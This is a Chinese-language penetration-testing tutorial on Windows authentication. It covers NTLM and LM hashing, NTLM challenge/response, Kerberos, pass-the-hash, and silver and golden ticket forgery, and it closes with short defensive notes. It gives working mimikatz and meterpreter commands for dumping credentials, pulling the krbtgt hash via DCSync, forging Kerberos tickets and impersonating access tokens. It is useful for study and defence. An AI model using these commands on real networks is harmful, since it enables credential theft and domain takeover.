Windows基本认证

这些技术分别能够满足我们在渗透中持续的维持权限、提权

0x01 本地认证

C:\WINDOWS\system32\config\sam

对密码进行对比，相同则认证成功

NTLM（NT LAN Manager）Hash

• NTLM Hash是支持Net NTLM认证协议并且是本地认证过程中重要的一部分

• 长度为32位，由数字与字母组成

• Windows本身不存储用户的明文密码，它会将用户的明文密码经过加密算法后存储在SAM中

• NTLM Hash前身是LM Hash目前基本淘汰

• 登录时就是将用户输入的明文加密后和sam中的NTLN Hash做比较

NTLM Hash加密原理

admin->hex=61646d696e

61646d696e->Unicode=610064006d0069006e00

610064006d0069006e00->MD4=209C6174DA490CAEB422F3FA5A7AE634

winlogon.exe是windows NT用户登录程序，用户管理用户登录退出

lsass.exe用于微软windows系统的安全机制，本地安全和登录策略

winlogon接收用户的输入再交给lsass去认证

LM Hash

• 将所有小写字母转换为大写字母

123ABC（未达到7个字符）

• 转换为16进制，分两组，填充14位字符，空余使用0x00填充

31323341424300000000000000

• 分割为两组7个字节的块

31323341424300 00000000000（十六进制）

• 每组转化为比特流，不足56Bit则在左边加0

31323341424300（十六进制转化为二进制）

110001001100100011001101000001010000100100001100000000（不足56Bit）

00110001001100100011001101000001010000100100001100000000

比特流按照7比特一组，分出8组，末尾加0

0011000 0
1001100 0
1000110 0
0110100 0
0001010 0
0001001 0
0000110 0
0000000 0

密码没有达到七位，导致后面都是0

密码不超过7字节的，后面的一半都是固定的

由此也可以用来判断用户的密码是否超过7个字节

0x02 网络认证

LM协议只能通过LM Hash去认证，NTLM协议只能通过NTLM Hash去认证

目前主流的Windows网络认证都是NTLM v2

隶属于工作组的机器之间无法相互建立一个完美的信任机制，只能点对点

是比较落后的认证方式，没有信托机构

NTLM（NT LAN Manager）

早期SMB协议在网络上传输明文口令

LAN Manager Challenge/Response验证机制，简称LM

但是由于他过于简单以至于很容易就被破解

于是微软提出了WindowsNT挑战/响应验证机制，称为NTLM

SMB提供的只是对文件的服务，对服务的增删改，在服务上还是要依赖NTLM

现在更新至NTLMv2以及Kerberos验证体系

挑战（Challenge）/响应（Response）

协商->质询->验证

旧版的Windows可能只支持LM，这时就需要协商

第一步协商：

• 客户端主要在这一步向服务器确认协议的版本，v1或v2

第二步质询：

• 客户端向服务器端发送用户名信息（用户名）请求

• 服务器接受到请求，生成一个16位的随机数，称之为Challenge，使用登录用户名对应的NTLM Hash加密Challenge（16位随机字符），生成Challenge1。同时将Challenge（16位随机字符）发送给客户端

• 客户端接受到Challenge后，使用将要登录到账户对应的NTLM Hash加密Challenge生成Response，然后将Response发送至服务器端

第三步验证：

• 服务器端收到客户端的Response后，对比Chanllenge1与Response是否相同，若相同则认证通过

流程图

NTLM v2协议

NTLM v1与v2最显著的区别就是Challenge与加密算法不同

共同点就是加密的原料都是NTLM Hash

Challage：v1的Challenge有8位，v2的Challenge为16位

Net-NTLM Hash：v1的主要加密算法是DES，v2的主要加密算法是HMAC-MD5

Responder：在服务端伪造开启支持NTLMv1,v2协议认证的工具（可以获取用户的NTLM Hash）

smbexec

0x03 Pass The Hash（哈希传递）

能够在不需要账户明文密码的情况下完成认证的一种技术

原理分析：

需要客户端将自己需要参与认证的用户名发送至服务器，等待服务器给出Challenge

其实哈希传递就是使用用户名对应的NTLM Hash将服务器给出的Chanllenge加密生成一个Response，来完成认证

0x04 域认证

Active Directory（活动目录）安装在域控中，是必不可少的一个服务

Kerberos域网络认证体系，基于密钥系统为客户机/服务器应用提供强大的认证体系

kerberos域认证

Kerberos 是一种网络认证协议，其设计目标是通过密钥系统为客户机/服务器应用程序提供强大的认证服务。该认证过程的实现不依赖于主机操作系统的认证，无需基于主机地址的信任，不要求网络上所有主机的物理安全，并假定网络上传送的数据包可以被任意地读取、修改和插入数据。在以上情况下， Kerberos 作为一种可信任的第三方认证服务，是通过传统的密码技术（如：共享文件）执行认证服务的。

域认证参与的角色

• Client
• Server
• KDC 密钥分发中心（Key Distribution Center）= DC（域控）

KDC也就是域控

介绍几个专有名词：

1.KDC （key distributed center ）    	用于票据生成管理服务，它包含AS与TGS
2.AS （authentication service）      	为客户端生成TGT
3.TGS（ticket granting service）    	为客户端生成某个服务的ticket
4.AD（account database）				存储客户端白名单，只有白名单中的才能申请TGT
5.TGT（ticket granting ticket）      	用于获取ticket的一种票据
6.SK（session key）					用户与域控的加密秘钥
7.client							想访问某个server的客户端
8.server                            提供某种业务的服务

一般来说，kerberos是用于域环境中身份认证的

所以KDC通常都安装在域控中

从物理层面来看，AD 和 KDC都是”域控”

KDC当中有个krbtgt用户，在域控中net user会看到

krbtgt是个系统自建用户，不用于登录，发票据的时候会用到其NTML HASH

AD：存储所有Client的白名单，只有存在白名单的Client才能顺利申请到TGT

AS：为Client生成TGT的服务

TGS：为Client生成某个服务的ticket

AD与KDC均为域控制器

域认证大致流程

1. Client 上的用户请求KDC服务，向AS服务生产TGT，返回给Client（AS会判断用户是否存在白名单中）
2. Client 使用TGT请求KDC上的TGS得到ST（TGS ticket）真正访问的票据（TGS会根据TGT判断是否有权限访问）
3. Client使用ST（TGS Ticket）访问Server

域认证详细流程

第一步，获取TGT：

1.Client发送自己的身份信息到KDC（身份信息中起码包含用户名），KDC根据用户名在AD中寻找是否在白名单中，然后根据用户名提取到对应的NTLM Hash。

2 .KDC此时生成一个随机字符串Session Key，使用客户端的NTLM Hash加密Session Key，作为AS数据，使用KDC中krbtgt用户的NTLM Hash加密Session Key和客户端的信息，生成TGT。

注意：客户端收到 TGT 是无法解密的，KDC返回的TGT客户端是无法解密的，因为它没有KDC Hash，KDC Hash指的就是是krbtgt的hash，这就是伪造黄金票据的原理

第二步，使用TGT获取Ticket：

1.客户端使用自己NTLM Hash解密出来的Session Key加密的客户端信息跟时间戳。

如果假设这个数据被中间人窃取到，也无法在段时间内利用，因为KDC会校验时间戳。

2.KDC接到TGT与其他内容后，会首先解密TGT，只有KDC可以解密TGT，从TGT中提取到Session Key，再使用Session Key解密其他内容，解密出来的内容同TGT中的信息进行校验来确认客户端是否受信。

3.验证通过后，就会生成一个新的Session Key，我们称之为Server Session Key这个Server Session Key主要用于和服务器进行通信。同时还会生成一个Ticket，也就是最后的票据了。

注意：Server Hash：这个Hash是在AD中服务器计算机的NTLM Hash。

第三步，使用Ticket访问Server：

客户端向服务器请求，需要提供Ticket，Server Session Key加密的客户端信息与时间戳。

1.Ticket客户端无法解密，因为没有 Server hash，只能发送给 sever端

2.服务器端通过自己的hash解密Ticket，得到解密Server Session Key(Client info + Timestamp)

3.用刚刚解密的Session Key，解开Client info + Timestamp，验证客户端信息和时间戳校验通过后，认证成功，该票据会一直存在客户端内存中，最后成功登陆

其中白银票据的伪造就发生在这一步的认证中

0x05 伪造白银票据（Silver Ticket）

白银票据前提：

• 1.不需要与KDC进行交互，直接和server认证
• 2.需要目标服务的NTLM Hash

在第三步认证中的Ticket的组成：

Ticket=Server Hash(Server Session Key+Client info+End Time)

白银票据原理：

• 如果我们拥有Server Hash时，我们就可以伪造一个不经过KDC认证的一个Ticket，直接去server端去验证。

注意：

​ 服务器是不知道Server Session Key是什么的，服务器的Server Session Key是解密ticket获得的，所以一切凭据的核心在Server Hash，有了它就开业直接伪造票据认证。

白银票据伪造

mimikatz
kerberos::list 			列出票据
kerberos::purge 		清除票据


导出Server Hash
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit > log.txt

或者MSF模块导出Hash
meterpreter > load mimikatz
meterpreter > msv




开始伪造票据
伪造文件共享（SMB服务对应的是CIFS）白银票据权限流程

一、
CMD：klist purge     清空当前系统票据

二、
mimikatz.exe "kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt" exit

三、
mimikatz.exe "kerberos::golden /domain:zeo.com /sid:S-1-5-21-1111111111-111111111-11111111111 /target:DC.zeo.com /service:CIFS /rc4:7c4a8d09ca3762af61e59520943dc26494f8941b /user:admin /ptt" exit
<用户名>可以随意填写，因为不会再向AD验证用户是否真实

四、
dir \\DC\c$     验证权限

由于白银票据需要目标服务器的Hash，所以没有办法生成对应域内所有服务器的票据，也不能通过TGT申请。因此只能针对服务器上某些服务去伪造

伪造服务类型列表

DCSync用于域同步，可以利用DCSync导出域内所有用户hash的方法

白银票据防御

1. 尽量保证服务器凭证不被窃取

2. 开启PAC（Privileged Attribute Certificate）特权属性证书保护功能，PAC主要是规定服务器将票据发送给kerberos服务，由kerberos服务验证票据是否有效

   开启PAC方法将注册表中HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters中ValidateKdcPacSignature设置为1

如果开启PAC，客户端在发送给服务端伪造的票据时，服务端会发送给KDC验证，此时KDC就会验证到该票据无效

0x06 伪造黄金票据（Golden Ticket）

黄金票据前提:

• 1.需要与DC通信
• 2.需要krbtgt用户的hash（也就是说要拿下域控制器）

黄金票据原理：

• 就是伪造的TGT，它会在第二步认证被发送到KDC的TGS，如果我们有了krbtgt用户的hash就可以直接伪造TGT，其中的KDC需要的session key，是KDC解密TGT之后获取的，所以session key也是和TGT一起伪造的，那么后续的认证，就可以随意的制造想要的票据了。

  拿到KDC hash去伪造TGT去申请不同服务器的Ticket，再用Ticket去访问相应服务器

krbtgt hash就是KDC hash

伪造黄金票据

ipconfig /all     获取域名
whoami /all       获取SID
mimikatz          获取krbtgt用户的NTLM哈希
lsadump::dcsync /domain:domain.com /user:krbtgt

CMD：klist purge       删除票据




使用MSF伪造黄金票据
meterpreter > load kiwi
meterpreter > kerberos_ticket_list

生成票据
meterpreter > golden_ticket_create -d <域名> -k <krbtgt hash> -s <域SID> -u <任意用户名> -t <导出票据路径(kali机器下)>

加载票据
meterpreter > kerberos_ticket_use /tmp/krbtgt.ticket

加载成功后可以使用CMD wmic创建一个进程 或者其他操作
CMD：wmic /authority:"kerberos:PAYLOADS\cmp1" /node:cmp1 process call create calc.exe 





mimikatz伪造票据
一、获取krbtgt hash
mimikatz.exe "lsadump::dcsync /user:krbtgt" exit

二、获取域中所有用户SID
wmic useraccount get name,sid

三、清空现有票据
mimikatz.exe "kerberos::purge" exit

四、生成票据
mimikatz "kerberos::golden /domain:<域名> /sid:<域SID> /rc4:<krbtgt hash> /user:<任意用户名> /ptt" exit
还有一个简单的用法cobalt strike中直接有一项黄金票据生产 十分方便

五、将票据注入内存
mimikatz.exe "kerberos::ptt Administrator.kiribi" exit

查看当前会话中的票据
mimikatz.exe "kerberos::tgt" exit

六、权限验证（此时可以访问域内任何需要kerberos认证的服务）
dir \\DC\c$

0x07 Tickets（票据）总结

黄金票据

• 访问权限：伪造TGT，可以获取任何Kerberos服务权限
• 加密方式：由Kerberos的Hash加密
• 认证流程：需要访问域控认证，属于第二步认证

获取到krbtgt用户的hash后，可以在域中进行持久性的隐藏，并且日志无法溯源，但是需要拿到DC权限，使用黄金票据能在一个域环境中长时间控制整个域。

防御

• 经常更新krbtgt的密码，最根本的办法是不允许域管账户登录其他服务器

白银票据

• 访问权限：伪造TGS，只能访问指定的服务
• 加密方式：Silver Ticket由服务账号Hash加密
• 认证流程：直接和服务器认，最后一步认证

伪造白银票据的难度比伪造黄金票据的难度要小，因为一个域中的服务器如果对外的话，非常容易被入侵，并且容易被转储Server hash

防御

• 需要开启PAC认证，这会降低认证的效率，增加DC的负担，最根本的还是要加固服务器本身对外的服务

0x08 Windows Access Token

Windows Token其实叫Access Token（访问令牌），它是一个描述进程或者线程安全上下文的一个对象。不同的用户登录计算机后，都会生成一个Access Token，这个Token在用户创建进程或者线程时会被使用，不断的拷贝，这也解释了A用户创建一个进程而该进程没有B用户的权限。

• Access Token分为两种（主令牌、模拟令牌）
• 一般情况下，用户双击运行一个程序，都会拷贝”explorer.exe”的Access Token
• 当用户注销后，系统将会使主令牌切换为模拟令牌，不会将令牌清清除，只有在重启机器后才会清除

Windows Access Token组成

• 用户账户的安全标识符（SID）

• 用户所属组的SID

• 用户标识当前登录会话的登录SID

• 用户或用户组所拥有的权限列表

• 所有者SID

• 主要组的SID

• 访问控制列表

• 访问令牌的来源

• 令牌是主要令牌还是模拟令牌

• 限制SID的可选列表

• 目前的模拟等级

• 其他统计数据

• 等等

SID（Security Identifiers）安全标识符

安全标识符是一个唯一的字符串，它可以代表一个账户、一个用户组、或者是一次登录。通常它还有一个SID固定列表，例如Everyone这种已经内置的账户，默认拥有固定的SID

SID的两种表现形式：

1. 域SID-用户ID
2. 计算机SID-用户ID

SID列表都会存储在域控的AD或者计算器本地账户数据库中

Windows Access Token产生过程

每个进程创建时都会根据登录会话权限由LSA（Local Security Authority）分配一个Token

如果进程CreateProcess时自己指定了Token，LSA会用该Token，否则向父进程TOken拷贝一份

Windows Access Token令牌假冒实战

当用户注销后，系统将会使主令牌切换为模拟令牌，不会将令牌清清除，只有在重启机器后才会清除

可以使用多种工具查看目前系统上存在的模拟令牌

• Incognito
• Powershell-Invoke-TokenManipulation.ps1
• Cobalt Strike-steal_token

MSF中集成了Incognito

meterpreter > getsystem 获取system权限

meterpreter > load incognito

meterpreter > list_tokens -u 查看会话中有哪些可以伪造的令牌

meterpreter > impersonate_token “PAYLOADS\ \Administrator”

PAYLOADS\ \Administrator是上面列表中的用户名

防御：禁止域管（Domain Admins）登录没有安全加固的服务器，清除假冒可以重启服务器